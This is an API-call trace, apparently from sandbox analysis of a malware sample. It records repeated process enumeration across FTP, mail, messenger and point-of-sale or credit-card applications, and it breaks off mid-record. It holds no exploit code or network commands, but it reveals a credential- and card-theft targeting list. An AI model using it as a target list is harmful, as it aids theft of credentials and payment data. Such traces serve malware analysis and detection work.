1 [0279.344] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0279.346] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0279.348] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0279.350] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0279.351] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0279.353] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0279.355] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0279.356] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0279.358] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0279.396] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0279.398] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0279.400] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0279.402] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0279.403] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0279.405] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0279.406] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0279.408] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0279.424] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0279.427] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0279.428] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0279.430] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0279.432] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0279.433] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0279.435] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0279.437] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0279.438] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0279.440] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0279.445] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0279.446] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0279.448] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0279.449] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0279.451] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0279.452] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0279.454] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0279.455] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0279.507] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0279.508] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0279.510] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0279.511] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0279.513] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0279.514] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0279.516] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0279.517] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0279.519] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0279.520] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0279.522] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0279.524] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0279.525] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 0 [0279.526] CloseHandle (hObject=0x344) returned 1 [0279.526] Sleep (dwMilliseconds=0x64) [0279.568] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0279.578] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0279.579] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0279.629] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0279.631] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0279.632] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0279.634] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0279.635] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0279.637] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0279.638] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0279.640] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.641] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.642] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0279.644] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.645] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.647] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.648] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.649] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.650] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.652] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.653] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0279.655] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0279.656] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0279.657] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.659] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0279.660] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0279.661] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0279.663] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0279.664] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.665] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0279.667] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0279.668] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0279.670] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0279.709] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0279.711] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0279.712] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0279.713] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0279.715] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, 